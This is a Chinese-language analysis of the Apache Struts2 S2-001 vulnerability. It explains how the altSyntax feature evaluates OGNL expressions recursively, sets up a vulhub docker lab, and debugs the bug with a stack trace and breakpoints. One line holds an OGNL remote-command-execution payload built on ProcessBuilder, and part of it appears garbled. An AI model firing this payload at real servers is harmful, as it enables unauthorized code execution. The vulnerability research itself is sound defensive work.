这是 S2 框架最早被公开的代码执行漏洞,在官方报告中提到:altSyntax 功能允许将OGNL表达式插入到文本字符串中并以递归方式处理。
使用struts2的 s标签提交表单,如果验证失败则会在服务端进行一次 OGNL 表达式验证。
官方给出了一段代码:
<s:form
action="editUser"><s:textfield
name="name"
/><s:textfield
name="phoneNumber"
/></s:form>
e.g: 我向这个页面发起请求 ?name=%{222-111}&phoneNumber=123
,在后端没有通过验证,返回的时候你会发现 name
文本框的值变成了 111
,也就是 %{222-111}
计算后的结果。这是因为默认情况下,参数值被处理为 %{name} ,OGNL表达式被递归计算,所以他真正执行的表达式是 %{ %{ 222-111 } }
。可见这个漏洞是因为 OGNL 表达式导致的。
https://github.com/vulhub/vulhub/tree/master/struts2/s2-001
通过 docker 启动 vulhub s2-001 的容器。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"d")).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}


通过简单的计算,可以看到 ognl 表达式已经执行,此时 idea 的控制台中应该已经被表达式hook工具把栈打印了出来。
---------------------------------EXP----------------------------------------- 2222-1111 ---------------------------------璋冪敤閾�--------------------------------------- java.lang.Thread.getStackTrace(Thread.java:1559) org.javaweb.expression.Agent.expression(Agent.java:179) ognl.Ognl.parseExpression(Ognl.java) com.opensymphony.xwork2.util.OgnlUtil.compile(OgnlUtil.java:203) com.opensymphony.xwork2.util.OgnlUtil.getValue(OgnlUtil.java:194) com.opensymphony.xwork2.util.OgnlValueStack.findValue(OgnlValueStack.java:238) com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:122) com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:71) org.apache.struts2.components.Component.findValue(Component.java:313) org.apache.struts2.components.UIBean.evaluateParams(UIBean.java:723) org.apache.struts2.components.UIBean.end(UIBean.java:481) org.apache.struts2.views.jsp.ComponentTagSupport.doEndTag(ComponentTagSupport.java:43) ................此处省略 org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1085) org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:658) org.apache.coyote.http11.Http11AprProtocol$Http11ConnectionHandler.process(Http11AprProtocol.java:277) org.apache.tomcat.util.net.AprEndpoint$SocketProcessor.doRun(AprEndpoint.java:2407) org.apache.tomcat.util.net.AprEndpoint$SocketProcessor.run(AprEndpoint.java:2396) java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) java.lang.Thread.run(Thread.java:748)
我在 UIBean.java
的 298 行打了一个断点。
问题就出在 if (this.altSyntax()) {
这一行,刚才有提到过漏洞是因为 altSyntax 功能引发的,它的作用是允许s2标签用使用表达式。

此时表达式已成 %{username}
这里放上罪魁祸首之一 translateVariables 方法的源码。


继续跟进,直到这一步invokeMethod:518, OgnlRuntime (ognl)
,他通过反射调用 Action 对象的 get 方法来获取 username 属性,也就是我的payload %{222-111}
。

最终回到了 translateVariables 方法,递归的执行 ognl 表达式,再次执行了一遍 %{222-111}。
最后总结一下 S2-001 的一个触发条件。
开启 altSyntax 功能
使用 s 标签处理表单
action 返回错误
OGNL 递归处理
值得一提的是 Struts2 官方给出了一个解决办法中提到了。
从XWork 2.0.4开始,OGNL解析被更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 + 1}。
也就是只会获取到 username 的内容,而不会再把 username 里的内容再执行一遍,不然 Struts2 可就不止57 个漏洞了。




